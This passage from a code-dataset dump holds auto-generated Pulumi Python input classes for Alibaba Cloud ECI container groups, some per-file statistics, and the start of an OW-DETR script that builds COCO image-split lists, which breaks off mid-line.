pulumi.get(self, "ready") @ready.setter def ready(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "ready", value) @property @pulumi.getter(name="restartCount") def restart_count(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "restart_count") @restart_count.setter def restart_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "restart_count", value) @property @pulumi.getter(name="volumeMounts") def volume_mounts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerVolumeMountArgs']]]]: """ The structure of volumeMounts. """ return pulumi.get(self, "volume_mounts") @volume_mounts.setter def volume_mounts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupContainerVolumeMountArgs']]]]): pulumi.set(self, "volume_mounts", value) @property @pulumi.getter(name="workingDir") def working_dir(self) -> Optional[pulumi.Input[str]]: """ The working directory of the container. """ return pulumi.get(self, "working_dir") @working_dir.setter def working_dir(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "working_dir", value) @pulumi.input_type class ContainerGroupContainerEnvironmentVarArgs: def __init__(__self__, *, key: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] key: The name of the variable. The name can be 1 to 128 characters in length and can contain letters, digits, and underscores (_). It cannot start with a digit. :param pulumi.Input[str] value: The value of the variable. The value can be 0 to 256 characters in length. """ if key is not None: pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> Optional[pulumi.Input[str]]: """ The name of the variable. The name can be 1 to 128 characters in length and can contain letters, digits, and underscores (_). It cannot start with a digit. """ return pulumi.get(self, "key") @key.setter def key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The value of the variable. The value can be 0 to 256 characters in length. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ContainerGroupContainerPortArgs: def __init__(__self__, *, port: Optional[pulumi.Input[int]] = None, protocol: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[int] port: The port number. Valid values: 1 to 65535. :param pulumi.Input[str] protocol: Valid values: TCP and UDP. """ if port is not None: pulumi.set(__self__, "port", port) if protocol is not None: pulumi.set(__self__, "protocol", protocol) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ The port number. Valid values: 1 to 65535. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @property @pulumi.getter def protocol(self) -> Optional[pulumi.Input[str]]: """ Valid values: TCP and UDP. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol", value) @pulumi.input_type class ContainerGroupContainerVolumeMountArgs: def __init__(__self__, *, mount_path: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, read_only: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] mount_path: The directory of the mounted volume. Data under this directory will be overwritten by the data in the volume. :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[bool] read_only: Default to `false`. """ if mount_path is not None: pulumi.set(__self__, "mount_path", mount_path) if name is not None: pulumi.set(__self__, "name", name) if read_only is not None: pulumi.set(__self__, "read_only", read_only) @property @pulumi.getter(name="mountPath") def mount_path(self) -> Optional[pulumi.Input[str]]: """ The directory of the mounted volume. Data under this directory will be overwritten by the data in the volume. """ return pulumi.get(self, "mount_path") @mount_path.setter def mount_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mount_path", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="readOnly") def read_only(self) -> Optional[pulumi.Input[bool]]: """ Default to `false`. """ return pulumi.get(self, "read_only") @read_only.setter def read_only(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "read_only", value) @pulumi.input_type class ContainerGroupDnsConfigArgs: def __init__(__self__, *, name_servers: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, options: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupDnsConfigOptionArgs']]]] = None, searches: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] name_servers: The list of DNS server IP addresses. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupDnsConfigOptionArgs']]] options: The structure of options. :param pulumi.Input[Sequence[pulumi.Input[str]]] searches: The list of DNS lookup domains. """ if name_servers is not None: pulumi.set(__self__, "name_servers", name_servers) if options is not None: pulumi.set(__self__, "options", options) if searches is not None: pulumi.set(__self__, "searches", searches) @property @pulumi.getter(name="nameServers") def name_servers(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The list of DNS server IP addresses. """ return pulumi.get(self, "name_servers") @name_servers.setter def name_servers(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "name_servers", value) @property @pulumi.getter def options(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupDnsConfigOptionArgs']]]]: """ The structure of options. """ return pulumi.get(self, "options") @options.setter def options(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupDnsConfigOptionArgs']]]]): pulumi.set(self, "options", value) @property @pulumi.getter def searches(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The list of DNS lookup domains. """ return pulumi.get(self, "searches") @searches.setter def searches(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "searches", value) @pulumi.input_type class ContainerGroupDnsConfigOptionArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[str] value: The value of the variable. The value can be 0 to 256 characters in length. """ if name is not None: pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The value of the variable. The value can be 0 to 256 characters in length. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ContainerGroupEciSecurityContextArgs: def __init__(__self__, *, sysctls: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupEciSecurityContextSysctlArgs']]]] = None): if sysctls is not None: pulumi.set(__self__, "sysctls", sysctls) @property @pulumi.getter def sysctls(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupEciSecurityContextSysctlArgs']]]]: return pulumi.get(self, "sysctls") @sysctls.setter def sysctls(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupEciSecurityContextSysctlArgs']]]]): pulumi.set(self, "sysctls", value) @pulumi.input_type class ContainerGroupEciSecurityContextSysctlArgs: def __init__(__self__, *, name: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[str] value: The value of the variable. The value can be 0 to 256 characters in length. """ if name is not None: pulumi.set(__self__, "name", name) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The value of the variable. The value can be 0 to 256 characters in length. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ContainerGroupHostAliasArgs: def __init__(__self__, *, hostnames: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, ip: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] hostnames: Adds a host name. :param pulumi.Input[str] ip: Adds an IP address. """ if hostnames is not None: pulumi.set(__self__, "hostnames", hostnames) if ip is not None: pulumi.set(__self__, "ip", ip) @property @pulumi.getter def hostnames(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ Adds a host name. """ return pulumi.get(self, "hostnames") @hostnames.setter def hostnames(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "hostnames", value) @property @pulumi.getter def ip(self) -> Optional[pulumi.Input[str]]: """ Adds an IP address. """ return pulumi.get(self, "ip") @ip.setter def ip(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ip", value) @pulumi.input_type class ContainerGroupInitContainerArgs: def __init__(__self__, *, args: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, commands: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, cpu: Optional[pulumi.Input[float]] = None, environment_vars: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerEnvironmentVarArgs']]]] = None, gpu: Optional[pulumi.Input[int]] = None, image: Optional[pulumi.Input[str]] = None, image_pull_policy: Optional[pulumi.Input[str]] = None, memory: Optional[pulumi.Input[float]] = None, name: Optional[pulumi.Input[str]] = None, ports: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerPortArgs']]]] = None, ready: Optional[pulumi.Input[bool]] = None, restart_count: Optional[pulumi.Input[int]] = None, volume_mounts: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerVolumeMountArgs']]]] = None, working_dir: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[Sequence[pulumi.Input[str]]] args: The arguments passed to the commands. :param pulumi.Input[Sequence[pulumi.Input[str]]] commands: The commands run by the init container. :param pulumi.Input[float] cpu: The amount of CPU resources allocated to the container. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerEnvironmentVarArgs']]] environment_vars: The structure of environmentVars. :param pulumi.Input[int] gpu: The number GPUs. :param pulumi.Input[str] image: The image of the container. :param pulumi.Input[str] image_pull_policy: The restart policy of the image. :param pulumi.Input[float] memory: The amount of memory resources allocated to the container. :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerPortArgs']]] ports: The structure of port. :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerVolumeMountArgs']]] volume_mounts: The structure of volumeMounts. :param pulumi.Input[str] working_dir: The working directory of the container. """ if args is not None: pulumi.set(__self__, "args", args) if commands is not None: pulumi.set(__self__, "commands", commands) if cpu is not None: pulumi.set(__self__, "cpu", cpu) if environment_vars is not None: pulumi.set(__self__, "environment_vars", environment_vars) if gpu is not None: pulumi.set(__self__, "gpu", gpu) if image is not None: pulumi.set(__self__, "image", image) if image_pull_policy is not None: pulumi.set(__self__, "image_pull_policy", image_pull_policy) if memory is not None: pulumi.set(__self__, "memory", memory) if name is not None: pulumi.set(__self__, "name", name) if ports is not None: pulumi.set(__self__, "ports", ports) if ready is not None: pulumi.set(__self__, "ready", ready) if restart_count is not None: pulumi.set(__self__, "restart_count", restart_count) if volume_mounts is not None: pulumi.set(__self__, "volume_mounts", volume_mounts) if working_dir is not None: pulumi.set(__self__, "working_dir", working_dir) @property @pulumi.getter def args(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The arguments passed to the commands. """ return pulumi.get(self, "args") @args.setter def args(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "args", value) @property @pulumi.getter def commands(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: """ The commands run by the init container. """ return pulumi.get(self, "commands") @commands.setter def commands(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "commands", value) @property @pulumi.getter def cpu(self) -> Optional[pulumi.Input[float]]: """ The amount of CPU resources allocated to the container. """ return pulumi.get(self, "cpu") @cpu.setter def cpu(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "cpu", value) @property @pulumi.getter(name="environmentVars") def environment_vars(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerEnvironmentVarArgs']]]]: """ The structure of environmentVars. """ return pulumi.get(self, "environment_vars") @environment_vars.setter def environment_vars(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerEnvironmentVarArgs']]]]): pulumi.set(self, "environment_vars", value) @property @pulumi.getter def gpu(self) -> Optional[pulumi.Input[int]]: """ The number GPUs. """ return pulumi.get(self, "gpu") @gpu.setter def gpu(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "gpu", value) @property @pulumi.getter def image(self) -> Optional[pulumi.Input[str]]: """ The image of the container. """ return pulumi.get(self, "image") @image.setter def image(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image", value) @property @pulumi.getter(name="imagePullPolicy") def image_pull_policy(self) -> Optional[pulumi.Input[str]]: """ The restart policy of the image. """ return pulumi.get(self, "image_pull_policy") @image_pull_policy.setter def image_pull_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "image_pull_policy", value) @property @pulumi.getter def memory(self) -> Optional[pulumi.Input[float]]: """ The amount of memory resources allocated to the container. """ return pulumi.get(self, "memory") @memory.setter def memory(self, value: Optional[pulumi.Input[float]]): pulumi.set(self, "memory", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter def ports(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerPortArgs']]]]: """ The structure of port. """ return pulumi.get(self, "ports") @ports.setter def ports(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerPortArgs']]]]): pulumi.set(self, "ports", value) @property @pulumi.getter def ready(self) -> Optional[pulumi.Input[bool]]: return pulumi.get(self, "ready") @ready.setter def ready(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "ready", value) @property @pulumi.getter(name="restartCount") def restart_count(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "restart_count") @restart_count.setter def restart_count(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "restart_count", value) @property @pulumi.getter(name="volumeMounts") def volume_mounts(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerVolumeMountArgs']]]]: """ The structure of volumeMounts. """ return pulumi.get(self, "volume_mounts") @volume_mounts.setter def volume_mounts(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupInitContainerVolumeMountArgs']]]]): pulumi.set(self, "volume_mounts", value) @property @pulumi.getter(name="workingDir") def working_dir(self) -> Optional[pulumi.Input[str]]: """ The working directory of the container. """ return pulumi.get(self, "working_dir") @working_dir.setter def working_dir(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "working_dir", value) @pulumi.input_type class ContainerGroupInitContainerEnvironmentVarArgs: def __init__(__self__, *, key: Optional[pulumi.Input[str]] = None, value: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] key: The name of the variable. The name can be 1 to 128 characters in length and can contain letters, digits, and underscores (_). It cannot start with a digit. :param pulumi.Input[str] value: The value of the variable. The value can be 0 to 256 characters in length. """ if key is not None: pulumi.set(__self__, "key", key) if value is not None: pulumi.set(__self__, "value", value) @property @pulumi.getter def key(self) -> Optional[pulumi.Input[str]]: """ The name of the variable. The name can be 1 to 128 characters in length and can contain letters, digits, and underscores (_). It cannot start with a digit. """ return pulumi.get(self, "key") @key.setter def key(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "key", value) @property @pulumi.getter def value(self) -> Optional[pulumi.Input[str]]: """ The value of the variable. The value can be 0 to 256 characters in length. """ return pulumi.get(self, "value") @value.setter def value(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "value", value) @pulumi.input_type class ContainerGroupInitContainerPortArgs: def __init__(__self__, *, port: Optional[pulumi.Input[int]] = None, protocol: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[int] port: The port number. Valid values: 1 to 65535. :param pulumi.Input[str] protocol: Valid values: TCP and UDP. """ if port is not None: pulumi.set(__self__, "port", port) if protocol is not None: pulumi.set(__self__, "protocol", protocol) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: """ The port number. Valid values: 1 to 65535. """ return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @property @pulumi.getter def protocol(self) -> Optional[pulumi.Input[str]]: """ Valid values: TCP and UDP. """ return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol", value) @pulumi.input_type class ContainerGroupInitContainerVolumeMountArgs: def __init__(__self__, *, mount_path: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, read_only: Optional[pulumi.Input[bool]] = None): """ :param pulumi.Input[str] mount_path: The directory of the mounted volume. Data under this directory will be overwritten by the data in the volume. :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[bool] read_only: Default to `false`. """ if mount_path is not None: pulumi.set(__self__, "mount_path", mount_path) if name is not None: pulumi.set(__self__, "name", name) if read_only is not None: pulumi.set(__self__, "read_only", read_only) @property @pulumi.getter(name="mountPath") def mount_path(self) -> Optional[pulumi.Input[str]]: """ The directory of the mounted volume. Data under this directory will be overwritten by the data in the volume. """ return pulumi.get(self, "mount_path") @mount_path.setter def mount_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "mount_path", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="readOnly") def read_only(self) -> Optional[pulumi.Input[bool]]: """ Default to `false`. """ return pulumi.get(self, "read_only") @read_only.setter def read_only(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "read_only", value) @pulumi.input_type class ContainerGroupVolumeArgs: def __init__(__self__, *, config_file_volume_config_file_to_paths: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupVolumeConfigFileVolumeConfigFileToPathArgs']]]] = None, disk_volume_disk_id: Optional[pulumi.Input[str]] = None, disk_volume_fs_type: Optional[pulumi.Input[str]] = None, flex_volume_driver: Optional[pulumi.Input[str]] = None, flex_volume_fs_type: Optional[pulumi.Input[str]] = None, flex_volume_options: Optional[pulumi.Input[str]] = None, name: Optional[pulumi.Input[str]] = None, nfs_volume_path: Optional[pulumi.Input[str]] = None, nfs_volume_read_only: Optional[pulumi.Input[bool]] = None, nfs_volume_server: Optional[pulumi.Input[str]] = None, type: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[Sequence[pulumi.Input['ContainerGroupVolumeConfigFileVolumeConfigFileToPathArgs']]] config_file_volume_config_file_to_paths: ConfigFileVolumeConfigFileToPaths. :param pulumi.Input[str] disk_volume_disk_id: The ID of DiskVolume. :param pulumi.Input[str] disk_volume_fs_type: The system type of DiskVolume. :param pulumi.Input[str] flex_volume_driver: The name of the FlexVolume driver. :param pulumi.Input[str] flex_volume_fs_type: The type of the mounted file system. The default value is determined by the script of FlexVolume. :param pulumi.Input[str] flex_volume_options: The list of FlexVolume objects. Each object is a key-value pair contained in a JSON string. :param pulumi.Input[str] name: The name of the mounted volume. :param pulumi.Input[str] nfs_volume_path: The path to the NFS volume. :param pulumi.Input[bool] nfs_volume_read_only: The nfs volume read only. Default to `false`. :param pulumi.Input[str] nfs_volume_server: The address of the NFS server. :param pulumi.Input[str] type: The type of the volume. """ if config_file_volume_config_file_to_paths is not None: pulumi.set(__self__, "config_file_volume_config_file_to_paths", config_file_volume_config_file_to_paths) if disk_volume_disk_id is not None: pulumi.set(__self__, "disk_volume_disk_id", disk_volume_disk_id) if disk_volume_fs_type is not None: pulumi.set(__self__, "disk_volume_fs_type", disk_volume_fs_type) if flex_volume_driver is not None: pulumi.set(__self__, "flex_volume_driver", flex_volume_driver) if flex_volume_fs_type is not None: pulumi.set(__self__, "flex_volume_fs_type", flex_volume_fs_type) if flex_volume_options is not None: pulumi.set(__self__, "flex_volume_options", flex_volume_options) if name is not None: pulumi.set(__self__, "name", name) if nfs_volume_path is not None: pulumi.set(__self__, "nfs_volume_path", nfs_volume_path) if nfs_volume_read_only is not None: pulumi.set(__self__, "nfs_volume_read_only", nfs_volume_read_only) if nfs_volume_server is not None: pulumi.set(__self__, "nfs_volume_server", nfs_volume_server) if type is not None: pulumi.set(__self__, "type", type) @property @pulumi.getter(name="configFileVolumeConfigFileToPaths") def config_file_volume_config_file_to_paths(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupVolumeConfigFileVolumeConfigFileToPathArgs']]]]: """ ConfigFileVolumeConfigFileToPaths. """ return pulumi.get(self, "config_file_volume_config_file_to_paths") @config_file_volume_config_file_to_paths.setter def config_file_volume_config_file_to_paths(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ContainerGroupVolumeConfigFileVolumeConfigFileToPathArgs']]]]): pulumi.set(self, "config_file_volume_config_file_to_paths", value) @property @pulumi.getter(name="diskVolumeDiskId") def disk_volume_disk_id(self) -> Optional[pulumi.Input[str]]: """ The ID of DiskVolume. """ return pulumi.get(self, "disk_volume_disk_id") @disk_volume_disk_id.setter def disk_volume_disk_id(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "disk_volume_disk_id", value) @property @pulumi.getter(name="diskVolumeFsType") def disk_volume_fs_type(self) -> Optional[pulumi.Input[str]]: """ The system type of DiskVolume. """ return pulumi.get(self, "disk_volume_fs_type") @disk_volume_fs_type.setter def disk_volume_fs_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "disk_volume_fs_type", value) @property @pulumi.getter(name="flexVolumeDriver") def flex_volume_driver(self) -> Optional[pulumi.Input[str]]: """ The name of the FlexVolume driver. """ return pulumi.get(self, "flex_volume_driver") @flex_volume_driver.setter def flex_volume_driver(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "flex_volume_driver", value) @property @pulumi.getter(name="flexVolumeFsType") def flex_volume_fs_type(self) -> Optional[pulumi.Input[str]]: """ The type of the mounted file system. The default value is determined by the script of FlexVolume. """ return pulumi.get(self, "flex_volume_fs_type") @flex_volume_fs_type.setter def flex_volume_fs_type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "flex_volume_fs_type", value) @property @pulumi.getter(name="flexVolumeOptions") def flex_volume_options(self) -> Optional[pulumi.Input[str]]: """ The list of FlexVolume objects. Each object is a key-value pair contained in a JSON string. """ return pulumi.get(self, "flex_volume_options") @flex_volume_options.setter def flex_volume_options(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "flex_volume_options", value) @property @pulumi.getter def name(self) -> Optional[pulumi.Input[str]]: """ The name of the mounted volume. """ return pulumi.get(self, "name") @name.setter def name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "name", value) @property @pulumi.getter(name="nfsVolumePath") def nfs_volume_path(self) -> Optional[pulumi.Input[str]]: """ The path to the NFS volume. """ return pulumi.get(self, "nfs_volume_path") @nfs_volume_path.setter def nfs_volume_path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "nfs_volume_path", value) @property @pulumi.getter(name="nfsVolumeReadOnly") def nfs_volume_read_only(self) -> Optional[pulumi.Input[bool]]: """ The nfs volume read only. Default to `false`. """ return pulumi.get(self, "nfs_volume_read_only") @nfs_volume_read_only.setter def nfs_volume_read_only(self, value: Optional[pulumi.Input[bool]]): pulumi.set(self, "nfs_volume_read_only", value) @property @pulumi.getter(name="nfsVolumeServer") def nfs_volume_server(self) -> Optional[pulumi.Input[str]]: """ The address of the NFS server. """ return pulumi.get(self, "nfs_volume_server") @nfs_volume_server.setter def nfs_volume_server(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "nfs_volume_server", value) @property @pulumi.getter def type(self) -> Optional[pulumi.Input[str]]: """ The type of the volume. """ return pulumi.get(self, "type") @type.setter def type(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "type", value) @pulumi.input_type class ContainerGroupVolumeConfigFileVolumeConfigFileToPathArgs: def __init__(__self__, *, content: Optional[pulumi.Input[str]] = None, path: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] content: The content of the configuration file. Maximum size: 32 KB. :param pulumi.Input[str] path: The relative file path. """ if content is not None: pulumi.set(__self__, "content", content) if path is not None: pulumi.set(__self__, "path", path) @property @pulumi.getter def content(self) -> Optional[pulumi.Input[str]]: """ The content of the configuration file. Maximum size: 32 KB. """ return pulumi.get(self, "content") @content.setter def content(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "content", value) @property @pulumi.getter def path(self) -> Optional[pulumi.Input[str]]: """ The relative file path. """ return pulumi.get(self, "path") @path.setter def path(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "path", value) @pulumi.input_type class ImageCacheImageRegistryCredentialArgs: def __init__(__self__, *, password: Optional[pulumi.Input[str]] = None, server: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None): """ :param pulumi.Input[str] password: The password of the Image Registry. :param pulumi.Input[str] server: The address of Image Registry without `http://` or `https://`. :param pulumi.Input[str] user_name: The user name of Image Registry. """ if password is not None: pulumi.set(__self__, "password", password) if server is not None: pulumi.set(__self__, "server", server) if user_name is not None: pulumi.set(__self__, "user_name", user_name) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: """ The password of the Image Registry. """ return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter def server(self) -> Optional[pulumi.Input[str]]: """ The address of Image Registry without `http://` or `https://`. """ return pulumi.get(self, "server") @server.setter def server(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server", value) @property @pulumi.getter(name="userName") def user_name(self) -> Optional[pulumi.Input[str]]: """ The user name of Image Registry. """ return pulumi.get(self, "user_name") @user_name.setter def user_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_name", value) @pulumi.input_type class OpenApiImageCacheImageRegistryCredentialArgs: def __init__(__self__, *, password: Optional[pulumi.Input[str]] = None, server: Optional[pulumi.Input[str]] = None, user_name: Optional[pulumi.Input[str]] = None): if password is not None: pulumi.set(__self__, "password", password) if server is not None: pulumi.set(__self__, "server", server) if user_name is not None: pulumi.set(__self__, "user_name", user_name) @property @pulumi.getter def password(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "password") @password.setter def password(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "password", value) @property @pulumi.getter def server(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "server") @server.setter def server(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "server", value) @property @pulumi.getter(name="userName") def user_name(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "user_name") @user_name.setter def user_name(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "user_name", value)
37.28125
193
0.638253
5,432
46,527
5.302467
0.040133
0.135958
0.136548
0.087074
0.889595
0.861716
0.812901
0.738604
0.708919
0.68111
0
0.002184
0.242354
46,527
1,247
194
37.311147
0.814899
0.188536
0
0.715198
1
0
0.110424
0.052148
0
0
0
0
0
1
0.203065
false
0.020434
0.006386
0.010217
0.321839
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
9
a1cf81df5e3c52166d575de8483d6fb2ec6c8eb1
2,410
py
Python
datasets/create_imagenets_t4.py
akshitac8/OW-DETR
9d6705f059a1eb51ea6edfa26ee624abeb67c775
[ "Apache-2.0" ]
7
2022-03-29T22:38:05.000Z
2022-03-30T11:47:00.000Z
datasets/create_imagenets_t4.py
akshitac8/OW-DETR
9d6705f059a1eb51ea6edfa26ee624abeb67c775
[ "Apache-2.0" ]
null
null
null
datasets/create_imagenets_t4.py
akshitac8/OW-DETR
9d6705f059a1eb51ea6edfa26ee624abeb67c775
[ "Apache-2.0" ]
null
null
null
from pycocotools.coco import COCO import numpy as np T4_CLASS_NAMES = [ "laptop","mouse","remote","keyboard","cell phone", "book","clock","vase","scissors","teddy bear","hair drier", "toothbrush","wine glass","cup","fork","knife","spoon","bowl","tv","bottle" ] # Train coco_annotation_file = '../../data/coco/annotations/instances_train2017.json' dest_file = '../../data/VOC2007/ImageSets/Main/t4_train_new_split.txt' coco_instance = COCO(coco_annotation_file) image_ids = [] cls = [] for index, image_id in enumerate(coco_instance.imgToAnns): image_details = coco_instance.imgs[image_id] classes = [coco_instance.cats[annotation['category_id']]['name'] for annotation in coco_instance.imgToAnns[image_id]] if not set(classes).isdisjoint(T4_CLASS_NAMES): image_ids.append(image_details['file_name'].split('.')[0]) cls.extend(classes) (unique, counts) = np.unique(cls, return_counts=True) print({x:y for x,y in zip(unique, counts)}) c = 0 for x,y in zip(unique, counts): if x in T4_CLASS_NAMES: c += y print(c) print(len(image_ids)) with open(dest_file, 'w') as file: for image_id in image_ids: file.write(str(image_id)+'\n') print('Created train file') # Test coco_annotation_file = '../../data/coco/annotations/instances_val2017.json' dest_file = '../../data/VOC2007/ImageSets/Main/t4_test_new_split.txt' coco_instance = COCO(coco_annotation_file) image_ids = [] cls = [] for index, image_id in enumerate(coco_instance.imgToAnns): image_details = coco_instance.imgs[image_id] classes 